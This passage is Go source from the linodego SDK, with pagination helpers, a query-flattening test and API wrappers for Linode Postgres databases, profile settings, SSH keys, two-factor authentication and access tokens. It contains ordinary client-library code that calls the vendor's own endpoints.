import ( "context" "crypto/sha256" "encoding/hex" "encoding/json" "fmt" "reflect" "strconv" "github.com/go-resty/resty/v2" ) // PageOptions are the pagination parameters for List endpoints type PageOptions struct { Page int `json:"page" url:"page,omitempty"` Pages int `json:"pages" url:"pages,omitempty"` Results int `json:"results" url:"results,omitempty"` } // ListOptions are the pagination and filtering (TODO) parameters for endpoints // nolint type ListOptions struct { *PageOptions PageSize int `json:"page_size"` Filter string `json:"filter"` // QueryParams allows for specifying custom query parameters on list endpoint // calls. QueryParams should be an instance of a struct containing fields with // the `query` tag. QueryParams any } // NewListOptions simplified construction of ListOptions using only // the two writable properties, Page and Filter func NewListOptions(page int, filter string) *ListOptions { return &ListOptions{PageOptions: &PageOptions{Page: page}, Filter: filter} } // Hash returns the sha256 hash of the provided ListOptions. // This is necessary for caching purposes. func (l ListOptions) Hash() (string, error) { data, err := json.Marshal(l) if err != nil { return "", fmt.Errorf("failed to cache ListOptions: %w", err) } h := sha256.New() h.Write(data) return hex.EncodeToString(h.Sum(nil)), nil } func applyListOptionsToRequest(opts *ListOptions, req *resty.Request) error { if opts == nil { return nil } if opts.QueryParams != nil { params, err := flattenQueryStruct(opts.QueryParams) if err != nil { return fmt.Errorf("failed to apply list options: %w", err) } req.SetQueryParams(params) } if opts.PageOptions != nil && opts.Page > 0 { req.SetQueryParam("page", strconv.Itoa(opts.Page)) } if opts.PageSize > 0 { req.SetQueryParam("page_size", strconv.Itoa(opts.PageSize)) } if len(opts.Filter) > 0 { req.SetHeader("X-Filter", opts.Filter) } return nil } type PagedResponse interface { endpoint(...any) string castResult(*resty.Request, string) (int, int, error) } // listHelper abstracts fetching and pagination for GET endpoints that // do not require any Ids (top level endpoints). // When opts (or opts.Page) is nil, all pages will be fetched and // returned in a single (endpoint-specific)PagedResponse // opts.results and opts.pages will be updated from the API response func (c *Client) listHelper(ctx context.Context, pager PagedResponse, opts *ListOptions, ids ...any) error { req := c.R(ctx) if err := applyListOptionsToRequest(opts, req); err != nil { return err } pages, results, err := pager.castResult(req, pager.endpoint(ids...)) if err != nil { return err } if opts == nil { opts = &ListOptions{PageOptions: &PageOptions{Page: 0}} } if opts.PageOptions == nil { opts.PageOptions = &PageOptions{Page: 0} } if opts.Page == 0 { for page := 2; page <= pages; page++ { opts.Page = page if err := c.listHelper(ctx, pager, opts, ids...); err != nil { return err } } } opts.Results = results opts.Pages = pages return nil } // flattenQueryStruct flattens a structure into a Resty-compatible query param map. // Fields are mapped using the `query` struct tag. func flattenQueryStruct(val any) (map[string]string, error) { result := make(map[string]string) reflectVal := reflect.ValueOf(val) // Deref pointer if necessary if reflectVal.Kind() == reflect.Pointer { if reflectVal.IsNil() { return nil, fmt.Errorf("QueryParams is a nil pointer") } reflectVal = reflect.Indirect(reflectVal) } if reflectVal.Kind() != reflect.Struct { return nil, fmt.Errorf( "expected struct type for the QueryParams but got: %s", reflectVal.Kind().String(), ) } valType := reflectVal.Type() for i := 0; i < valType.NumField(); i++ { currentField := valType.Field(i) queryTag, ok := currentField.Tag.Lookup("query") // Skip untagged fields if !ok { continue } valField := reflectVal.FieldByName(currentField.Name) if !valField.IsValid() { return nil, fmt.Errorf("invalid query param tag: %s", currentField.Name) } // Skip if it's a zero value if valField.IsZero() { continue } // Deref the pointer is necessary if valField.Kind() == reflect.Pointer { valField = reflect.Indirect(valField) } fieldString, err := queryFieldToString(valField) if err != nil { return nil, err } result[queryTag] = fieldString } return result, nil } func queryFieldToString(value reflect.Value) (string, error) { switch value.Kind() { case reflect.String: return value.String(), nil case reflect.Int64, reflect.Int32, reflect.Int: return strconv.FormatInt(value.Int(), 10), nil case reflect.Bool: return strconv.FormatBool(value.Bool()), nil default: return "", fmt.Errorf("unsupported query param type: %s", value.Type().Name()) } } golang-github-linode-linodego-1.28.0/pagination_test.go000066400000000000000000000020251455402072200231160ustar00rootroot00000000000000package linodego import ( "github.com/google/go-cmp/cmp" "reflect" "testing" ) func TestFlattenQueryStruct(t *testing.T) { type TestStruct struct { TestInt int `query:"test_int"` TestString string `query:"test_string"` TestString2 string `query:"test_string_2"` TestInt64 int64 `query:"test_int64"` TestIn64Ptr *int64 `query:"test_int64_ptr"` TestBool bool `query:"test_bool"` TestUntagged string } testInt64 := int64(789) inst := TestStruct{ TestInt: 123, TestString: "test+string", TestString2: "", TestInt64: 567, TestIn64Ptr: &testInt64, TestBool: true, TestUntagged: "cool", } expectedOutput := map[string]string{ "test_int": "123", "test_string": "test+string", "test_int64": "567", "test_int64_ptr": "789", "test_bool": "true", } result, err := flattenQueryStruct(inst) if err != nil { t.Fatal(err) } if !reflect.DeepEqual(result, expectedOutput) { t.Fatalf("diff in result: %v", cmp.Diff(result, expectedOutput)) } } golang-github-linode-linodego-1.28.0/postgres.go000066400000000000000000000271601455402072200216030ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) type PostgresDatabaseTarget string const ( PostgresDatabaseTargetPrimary PostgresDatabaseTarget = "primary" PostgresDatabaseTargetSecondary PostgresDatabaseTarget = "secondary" ) type PostgresCommitType string const ( PostgresCommitTrue PostgresCommitType = "true" PostgresCommitFalse PostgresCommitType = "false" PostgresCommitLocal PostgresCommitType = "local" PostgresCommitRemoteWrite PostgresCommitType = "remote_write" PostgresCommitRemoteApply PostgresCommitType = "remote_apply" ) type PostgresReplicationType string const ( PostgresReplicationNone PostgresReplicationType = "none" PostgresReplicationAsynch PostgresReplicationType = "asynch" PostgresReplicationSemiSynch PostgresReplicationType = "semi_synch" ) // A PostgresDatabase is an instance of Linode Postgres Managed Databases type PostgresDatabase struct { ID int `json:"id"` Status DatabaseStatus `json:"status"` Label string `json:"label"` Region string `json:"region"` Type string `json:"type"` Engine string `json:"engine"` Version string `json:"version"` Encrypted bool `json:"encrypted"` AllowList []string `json:"allow_list"` Port int `json:"port"` SSLConnection bool `json:"ssl_connection"` ClusterSize int `json:"cluster_size"` ReplicationCommitType PostgresCommitType `json:"replication_commit_type"` ReplicationType PostgresReplicationType `json:"replication_type"` Hosts DatabaseHost `json:"hosts"` Updates DatabaseMaintenanceWindow `json:"updates"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` } func (d *PostgresDatabase) UnmarshalJSON(b []byte) error { type Mask PostgresDatabase p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(d), } if err := json.Unmarshal(b, &p); err != nil { return err } d.Created = (*time.Time)(p.Created) d.Updated = (*time.Time)(p.Updated) return nil } // PostgresCreateOptions fields are used when creating a new Postgres Database type PostgresCreateOptions struct { Label string `json:"label"` Region string `json:"region"` Type string `json:"type"` Engine string `json:"engine"` AllowList []string `json:"allow_list,omitempty"` ClusterSize int `json:"cluster_size,omitempty"` Encrypted bool `json:"encrypted,omitempty"` SSLConnection bool `json:"ssl_connection,omitempty"` ReplicationType PostgresReplicationType `json:"replication_type,omitempty"` ReplicationCommitType PostgresCommitType `json:"replication_commit_type,omitempty"` } // PostgresUpdateOptions fields are used when altering the existing Postgres Database type PostgresUpdateOptions struct { Label string `json:"label,omitempty"` AllowList *[]string `json:"allow_list,omitempty"` Updates *DatabaseMaintenanceWindow `json:"updates,omitempty"` } // PostgresDatabaseSSL is the SSL Certificate to access the Linode Managed Postgres Database type PostgresDatabaseSSL struct { CACertificate []byte `json:"ca_certificate"` } // PostgresDatabaseCredential is the Root Credentials to access the Linode Managed Database type PostgresDatabaseCredential struct { Username string `json:"username"` Password string `json:"password"` } type PostgresDatabasesPagedResponse struct { *PageOptions Data []PostgresDatabase `json:"data"` } func (PostgresDatabasesPagedResponse) endpoint(_ ...any) string { return "databases/postgresql/instances" } func (resp *PostgresDatabasesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(PostgresDatabasesPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*PostgresDatabasesPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListPostgresDatabases lists all Postgres Databases associated with the account func (c *Client) ListPostgresDatabases(ctx context.Context, opts *ListOptions) ([]PostgresDatabase, error) { response := PostgresDatabasesPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // PostgresDatabaseBackup is information for interacting with a backup for the existing Postgres Database type PostgresDatabaseBackup struct { ID int `json:"id"` Label string `json:"label"` Type string `json:"type"` Created *time.Time `json:"-"` } func (d *PostgresDatabaseBackup) UnmarshalJSON(b []byte) error { type Mask PostgresDatabaseBackup p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` }{ Mask: (*Mask)(d), } if err := json.Unmarshal(b, &p); err != nil { return err } d.Created = (*time.Time)(p.Created) return nil } // PostgresBackupCreateOptions are options used for CreatePostgresDatabaseBackup(...) type PostgresBackupCreateOptions struct { Label string `json:"label"` Target PostgresDatabaseTarget `json:"target"` } type PostgresDatabaseBackupsPagedResponse struct { *PageOptions Data []PostgresDatabaseBackup `json:"data"` } func (PostgresDatabaseBackupsPagedResponse) endpoint(ids ...any) string { id := ids[0].(int) return fmt.Sprintf("databases/postgresql/instances/%d/backups", id) } func (resp *PostgresDatabaseBackupsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(PostgresDatabaseBackupsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*PostgresDatabaseBackupsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListPostgresDatabaseBackups lists all Postgres Database Backups associated with the given Postgres Database func (c *Client) ListPostgresDatabaseBackups(ctx context.Context, databaseID int, opts *ListOptions) ([]PostgresDatabaseBackup, error) { response := PostgresDatabaseBackupsPagedResponse{} err := c.listHelper(ctx, &response, opts, databaseID) if err != nil { return nil, err } return response.Data, nil } // GetPostgresDatabase returns a single Postgres Database matching the id func (c *Client) GetPostgresDatabase(ctx context.Context, databaseID int) (*PostgresDatabase, error) { e := fmt.Sprintf("databases/postgresql/instances/%d", databaseID) req := c.R(ctx).SetResult(&PostgresDatabase{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*PostgresDatabase), nil } // CreatePostgresDatabase creates a new Postgres Database using the createOpts as configuration, returns the new Postgres Database func (c *Client) CreatePostgresDatabase(ctx context.Context, opts PostgresCreateOptions) (*PostgresDatabase, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "databases/postgresql/instances" req := c.R(ctx).SetResult(&PostgresDatabase{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*PostgresDatabase), nil } // DeletePostgresDatabase deletes an existing Postgres Database with the given id func (c *Client) DeletePostgresDatabase(ctx context.Context, databaseID int) error { e := fmt.Sprintf("databases/postgresql/instances/%d", databaseID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } // UpdatePostgresDatabase updates the given Postgres Database with the provided opts, returns the PostgresDatabase with the new settings func (c *Client) UpdatePostgresDatabase(ctx context.Context, databaseID int, opts PostgresUpdateOptions) (*PostgresDatabase, error) { body, err := json.Marshal(opts) if err != nil { return nil, NewError(err) } e := fmt.Sprintf("databases/postgresql/instances/%d", databaseID) req := c.R(ctx).SetResult(&PostgresDatabase{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*PostgresDatabase), nil } // PatchPostgresDatabase applies security patches and updates to the underlying operating system of the Managed Postgres Database func (c *Client) PatchPostgresDatabase(ctx context.Context, databaseID int) error { e := fmt.Sprintf("databases/postgresql/instances/%d/patch", databaseID) _, err := coupleAPIErrors(c.R(ctx).Post(e)) return err } // GetPostgresDatabaseCredentials returns the Root Credentials for the given Postgres Database func (c *Client) GetPostgresDatabaseCredentials(ctx context.Context, databaseID int) (*PostgresDatabaseCredential, error) { e := fmt.Sprintf("databases/postgresql/instances/%d/credentials", databaseID) req := c.R(ctx).SetResult(&PostgresDatabaseCredential{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*PostgresDatabaseCredential), nil } // ResetPostgresDatabaseCredentials returns the Root Credentials for the given Postgres Database (may take a few seconds to work) func (c *Client) ResetPostgresDatabaseCredentials(ctx context.Context, databaseID int) error { e := fmt.Sprintf("databases/postgresql/instances/%d/credentials/reset", databaseID) _, err := coupleAPIErrors(c.R(ctx).Post(e)) return err } // GetPostgresDatabaseSSL returns the SSL Certificate for the given Postgres Database func (c *Client) GetPostgresDatabaseSSL(ctx context.Context, databaseID int) (*PostgresDatabaseSSL, error) { e := fmt.Sprintf("databases/postgresql/instances/%d/ssl", databaseID) req := c.R(ctx).SetResult(&PostgresDatabaseSSL{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*PostgresDatabaseSSL), nil } // GetPostgresDatabaseBackup returns a specific Postgres Database Backup with the given ids func (c *Client) GetPostgresDatabaseBackup(ctx context.Context, databaseID int, backupID int) (*PostgresDatabaseBackup, error) { e := fmt.Sprintf("databases/postgresql/instances/%d/backups/%d", databaseID, backupID) req := c.R(ctx).SetResult(&PostgresDatabaseBackup{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*PostgresDatabaseBackup), nil } // RestorePostgresDatabaseBackup returns the given Postgres Database with the given Backup func (c *Client) RestorePostgresDatabaseBackup(ctx context.Context, databaseID int, backupID int) error { e := fmt.Sprintf("databases/postgresql/instances/%d/backups/%d/restore", databaseID, backupID) _, err := coupleAPIErrors(c.R(ctx).Post(e)) return err } // CreatePostgresDatabaseBackup creates a snapshot for the given Postgres database func (c *Client) CreatePostgresDatabaseBackup(ctx context.Context, databaseID int, opts PostgresBackupCreateOptions) error { body, err := json.Marshal(opts) if err != nil { return err } e := fmt.Sprintf("databases/postgresql/instances/%d/backups", databaseID) _, err = coupleAPIErrors(c.R(ctx).SetBody(string(body)).Post(e)) return err } golang-github-linode-linodego-1.28.0/profile.go000066400000000000000000000065401455402072200213740ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" ) // LishAuthMethod constants start with AuthMethod and include Linode API Lish Authentication Methods type LishAuthMethod string // LishAuthMethod constants are the methods of authentication allowed when connecting via Lish const ( AuthMethodPasswordKeys LishAuthMethod = "password_keys" AuthMethodKeysOnly LishAuthMethod = "keys_only" AuthMethodDisabled LishAuthMethod = "disabled" ) // ProfileReferrals represent a User's status in the Referral Program type ProfileReferrals struct { Total int `json:"total"` Completed int `json:"completed"` Pending int `json:"pending"` Credit float64 `json:"credit"` Code string `json:"code"` URL string `json:"url"` } // Profile represents a Profile object type Profile struct { UID int `json:"uid"` Username string `json:"username"` Email string `json:"email"` Timezone string `json:"timezone"` EmailNotifications bool `json:"email_notifications"` IPWhitelistEnabled bool `json:"ip_whitelist_enabled"` TwoFactorAuth bool `json:"two_factor_auth"` Restricted bool `json:"restricted"` LishAuthMethod LishAuthMethod `json:"lish_auth_method"` Referrals ProfileReferrals `json:"referrals"` AuthorizedKeys []string `json:"authorized_keys"` } // ProfileUpdateOptions fields are those accepted by UpdateProfile type ProfileUpdateOptions struct { Email string `json:"email,omitempty"` Timezone string `json:"timezone,omitempty"` EmailNotifications *bool `json:"email_notifications,omitempty"` IPWhitelistEnabled *bool `json:"ip_whitelist_enabled,omitempty"` LishAuthMethod LishAuthMethod `json:"lish_auth_method,omitempty"` AuthorizedKeys *[]string `json:"authorized_keys,omitempty"` TwoFactorAuth *bool `json:"two_factor_auth,omitempty"` Restricted *bool `json:"restricted,omitempty"` } // GetUpdateOptions converts a Profile to ProfileUpdateOptions for use in UpdateProfile func (i Profile) GetUpdateOptions() (o ProfileUpdateOptions) { o.Email = i.Email o.Timezone = i.Timezone o.EmailNotifications = copyBool(&i.EmailNotifications) o.IPWhitelistEnabled = copyBool(&i.IPWhitelistEnabled) o.LishAuthMethod = i.LishAuthMethod authorizedKeys := make([]string, len(i.AuthorizedKeys)) copy(authorizedKeys, i.AuthorizedKeys) o.AuthorizedKeys = &authorizedKeys o.TwoFactorAuth = copyBool(&i.TwoFactorAuth) o.Restricted = copyBool(&i.Restricted) return } // GetProfile returns the Profile of the authenticated user func (c *Client) GetProfile(ctx context.Context) (*Profile, error) { e := "profile" req := c.R(ctx).SetResult(&Profile{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*Profile), nil } // UpdateProfile updates the Profile with the specified id func (c *Client) UpdateProfile(ctx context.Context, opts ProfileUpdateOptions) (*Profile, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "profile" req := c.R(ctx).SetResult(&Profile{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*Profile), nil } golang-github-linode-linodego-1.28.0/profile_grants_list.go000066400000000000000000000005311455402072200237770ustar00rootroot00000000000000package linodego import ( "context" ) type GrantsListResponse = UserGrants func (c *Client) GrantsList(ctx context.Context) (*GrantsListResponse, error) { e := "profile/grants" r, err := coupleAPIErrors(c.R(ctx).SetResult(GrantsListResponse{}).Get(e)) if err != nil { return nil, err } return r.Result().(*GrantsListResponse), err } golang-github-linode-linodego-1.28.0/profile_logins.go000066400000000000000000000040331455402072200227420ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // Profile represents a Profile object type ProfileLogin struct { Datetime *time.Time `json:"datetime"` ID int `json:"id"` IP string `json:"ip"` Restricted bool `json:"restricted"` Status string `json:"status"` Username string `json:"username"` } type ProfileLoginsPagedResponse struct { *PageOptions Data []ProfileLogin `json:"data"` } func (ProfileLoginsPagedResponse) endpoint(_ ...any) string { return "profile/logins" } func (resp *ProfileLoginsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(ProfileLoginsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*ProfileLoginsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // UnmarshalJSON implements the json.Unmarshaler interface func (i *ProfileLogin) UnmarshalJSON(b []byte) error { type Mask ProfileLogin l := struct { *Mask Datetime *parseabletime.ParseableTime `json:"datetime"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &l); err != nil { return err } i.Datetime = (*time.Time)(l.Datetime) return nil } // GetProfileLogin returns the Profile Login of the authenticated user func (c *Client) GetProfileLogin(ctx context.Context, id int) (*ProfileLogin, error) { e := fmt.Sprintf("profile/logins/%d", id) req := c.R(ctx).SetResult(&ProfileLogin{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*ProfileLogin), nil } // ListProfileLogins lists Profile Logins of the authenticated user func (c *Client) ListProfileLogins(ctx context.Context, opts *ListOptions) ([]ProfileLogin, error) { response := ProfileLoginsPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } golang-github-linode-linodego-1.28.0/profile_phone_number.go000066400000000000000000000030131455402072200241250ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" ) // SendPhoneNumberVerificationCodeOptions fields are those accepted by SendPhoneNumberVerificationCode type SendPhoneNumberVerificationCodeOptions struct { ISOCode string `json:"iso_code"` PhoneNumber string `json:"phone_number"` } // VerifyPhoneNumberOptions fields are those accepted by VerifyPhoneNumber type VerifyPhoneNumberOptions struct { OTPCode string `json:"otp_code"` } // SendPhoneNumberVerificationCode sends a one-time verification code via SMS message to the submitted phone number. func (c *Client) SendPhoneNumberVerificationCode(ctx context.Context, opts SendPhoneNumberVerificationCodeOptions) error { body, err := json.Marshal(opts) if err != nil { return err } e := "profile/phone-number" _, err = coupleAPIErrors(c.R(ctx).SetBody(string(body)).Post(e)) return err } // DeletePhoneNumber deletes the verified phone number for the User making this request. func (c *Client) DeletePhoneNumber(ctx context.Context) error { e := "profile/phone-number" _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } // VerifyPhoneNumber verifies a phone number by confirming the one-time code received via SMS message after accessing the Phone Verification Code Send command. func (c *Client) VerifyPhoneNumber(ctx context.Context, opts VerifyPhoneNumberOptions) error { body, err := json.Marshal(opts) if err != nil { return err } e := "profile/phone-number/verify" _, err = coupleAPIErrors(c.R(ctx).SetBody(string(body)).Post(e)) return err } golang-github-linode-linodego-1.28.0/profile_security_questions.go000066400000000000000000000025561455402072200254400ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" ) type SecurityQuestion struct { ID int `json:"id"` Question string `json:"question"` Response string `json:"response"` } type SecurityQuestionsListResponse struct { SecurityQuestions []SecurityQuestion `json:"security_questions"` } type SecurityQuestionsAnswerQuestion struct { QuestionID int `json:"question_id"` Response string `json:"response"` } type SecurityQuestionsAnswerOptions struct { SecurityQuestions []SecurityQuestionsAnswerQuestion `json:"security_questions"` } // SecurityQuestionsList returns a collection of security questions and their responses, if any, for your User Profile. func (c *Client) SecurityQuestionsList(ctx context.Context) (*SecurityQuestionsListResponse, error) { e := "profile/security-questions" req := c.R(ctx).SetResult(&SecurityQuestionsListResponse{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*SecurityQuestionsListResponse), nil } // SecurityQuestionsAnswer adds security question responses for your User. func (c *Client) SecurityQuestionsAnswer(ctx context.Context, opts SecurityQuestionsAnswerOptions) error { body, err := json.Marshal(opts) if err != nil { return err } e := "profile/security-questions" req := c.R(ctx).SetBody(string(body)) _, err = coupleAPIErrors(req.Post(e)) return err } golang-github-linode-linodego-1.28.0/profile_sshkeys.go000066400000000000000000000071551455402072200231500ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // SSHKey represents a SSHKey object type SSHKey struct { ID int `json:"id"` Label string `json:"label"` SSHKey string `json:"ssh_key"` Created *time.Time `json:"-"` } // SSHKeyCreateOptions fields are those accepted by CreateSSHKey type SSHKeyCreateOptions struct { Label string `json:"label"` SSHKey string `json:"ssh_key"` } // SSHKeyUpdateOptions fields are those accepted by UpdateSSHKey type SSHKeyUpdateOptions struct { Label string `json:"label"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *SSHKey) UnmarshalJSON(b []byte) error { type Mask SSHKey p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) return nil } // GetCreateOptions converts a SSHKey to SSHKeyCreateOptions for use in CreateSSHKey func (i SSHKey) GetCreateOptions() (o SSHKeyCreateOptions) { o.Label = i.Label o.SSHKey = i.SSHKey return } // GetUpdateOptions converts a SSHKey to SSHKeyCreateOptions for use in UpdateSSHKey func (i SSHKey) GetUpdateOptions() (o SSHKeyUpdateOptions) { o.Label = i.Label return } // SSHKeysPagedResponse represents a paginated SSHKey API response type SSHKeysPagedResponse struct { *PageOptions Data []SSHKey `json:"data"` } // endpoint gets the endpoint URL for SSHKey func (SSHKeysPagedResponse) endpoint(_ ...any) string { return "profile/sshkeys" } func (resp *SSHKeysPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(SSHKeysPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*SSHKeysPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListSSHKeys lists SSHKeys func (c *Client) ListSSHKeys(ctx context.Context, opts *ListOptions) ([]SSHKey, error) { response := SSHKeysPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetSSHKey gets the sshkey with the provided ID func (c *Client) GetSSHKey(ctx context.Context, keyID int) (*SSHKey, error) { e := fmt.Sprintf("profile/sshkeys/%d", keyID) req := c.R(ctx).SetResult(&SSHKey{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*SSHKey), nil } // CreateSSHKey creates a SSHKey func (c *Client) CreateSSHKey(ctx context.Context, opts SSHKeyCreateOptions) (*SSHKey, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "profile/sshkeys" req := c.R(ctx).SetResult(&SSHKey{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*SSHKey), nil } // UpdateSSHKey updates the SSHKey with the specified id func (c *Client) UpdateSSHKey(ctx context.Context, keyID int, opts SSHKeyUpdateOptions) (*SSHKey, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("profile/sshkeys/%d", keyID) req := c.R(ctx).SetResult(&SSHKey{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*SSHKey), nil } // DeleteSSHKey deletes the SSHKey with the specified id func (c *Client) DeleteSSHKey(ctx context.Context, keyID int) error { e := fmt.Sprintf("profile/sshkeys/%d", keyID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/profile_tfa.go000066400000000000000000000037451455402072200222320ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // TwoFactorSecret contains fields returned by CreateTwoFactorSecret type TwoFactorSecret struct { Expiry *time.Time `json:"expiry"` Secret string `json:"secret"` } // ConfirmTwoFactorOptions contains fields used by ConfirmTwoFactor type ConfirmTwoFactorOptions struct { TFACode string `json:"tfa_code"` } // ConfirmTwoFactorResponse contains fields returned by ConfirmTwoFactor type ConfirmTwoFactorResponse struct { Scratch string `json:"scratch"` } func (s *TwoFactorSecret) UnmarshalJSON(b []byte) error { type Mask TwoFactorSecret p := struct { *Mask Expiry *parseabletime.ParseableTime `json:"expiry"` }{ Mask: (*Mask)(s), } if err := json.Unmarshal(b, &p); err != nil { return err } s.Expiry = (*time.Time)(p.Expiry) return nil } // CreateTwoFactorSecret generates a Two Factor secret for your User. func (c *Client) CreateTwoFactorSecret(ctx context.Context) (*TwoFactorSecret, error) { e := "profile/tfa-enable" req := c.R(ctx).SetResult(&TwoFactorSecret{}) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*TwoFactorSecret), nil } // DisableTwoFactor disables Two Factor Authentication for your User. func (c *Client) DisableTwoFactor(ctx context.Context) error { e := "profile/tfa-disable" _, err := coupleAPIErrors(c.R(ctx).Post(e)) return err } // ConfirmTwoFactor confirms that you can successfully generate Two Factor codes and enables TFA on your Account. func (c *Client) ConfirmTwoFactor(ctx context.Context, opts ConfirmTwoFactorOptions) (*ConfirmTwoFactorResponse, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "profile/tfa-enable-confirm" req := c.R(ctx).SetResult(&ConfirmTwoFactorResponse{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*ConfirmTwoFactorResponse), nil } golang-github-linode-linodego-1.28.0/profile_tokens.go000066400000000000000000000137441455402072200227630ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // Token represents a Token object type Token struct { // This token's unique ID, which can be used to revoke it. ID int `json:"id"` // The scopes this token was created with. These define what parts of the Account the token can be used to access. Many command-line tools, such as the Linode CLI, require tokens with access to *. Tokens with more restrictive scopes are generally more secure. // Valid values are "*" or a comma separated list of scopes https://developers.linode.com/api/v4/#o-auth Scopes string `json:"scopes"` // This token's label. This is for display purposes only, but can be used to more easily track what you're using each token for. (1-100 Characters) Label string `json:"label"` // The token used to access the API. When the token is created, the full token is returned here. Otherwise, only the first 16 characters are returned. Token string `json:"token"` // The date and time this token was created. Created *time.Time `json:"-"` // When this token will expire. Personal Access Tokens cannot be renewed, so after this time the token will be completely unusable and a new token will need to be generated. Tokens may be created with "null" as their expiry and will never expire unless revoked. Expiry *time.Time `json:"-"` } // TokenCreateOptions fields are those accepted by CreateToken type TokenCreateOptions struct { // The scopes this token was created with. These define what parts of the Account the token can be used to access. Many command-line tools, such as the Linode CLI, require tokens with access to *. Tokens with more restrictive scopes are generally more secure. Scopes string `json:"scopes"` // This token's label. This is for display purposes only, but can be used to more easily track what you're using each token for. (1-100 Characters) Label string `json:"label"` // When this token will expire. Personal Access Tokens cannot be renewed, so after this time the token will be completely unusable and a new token will need to be generated. Tokens may be created with "null" as their expiry and will never expire unless revoked. Expiry *time.Time `json:"expiry"` } // TokenUpdateOptions fields are those accepted by UpdateToken type TokenUpdateOptions struct { // This token's label. This is for display purposes only, but can be used to more easily track what you're using each token for. (1-100 Characters) Label string `json:"label"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *Token) UnmarshalJSON(b []byte) error { type Mask Token p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Expiry *parseabletime.ParseableTime `json:"expiry"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Expiry = (*time.Time)(p.Expiry) return nil } // GetCreateOptions converts a Token to TokenCreateOptions for use in CreateToken func (i Token) GetCreateOptions() (o TokenCreateOptions) { o.Label = i.Label o.Expiry = copyTime(i.Expiry) o.Scopes = i.Scopes return } // GetUpdateOptions converts a Token to TokenUpdateOptions for use in UpdateToken func (i Token) GetUpdateOptions() (o TokenUpdateOptions) { o.Label = i.Label return } // TokensPagedResponse represents a paginated Token API response type TokensPagedResponse struct { *PageOptions Data []Token `json:"data"` } // endpoint gets the 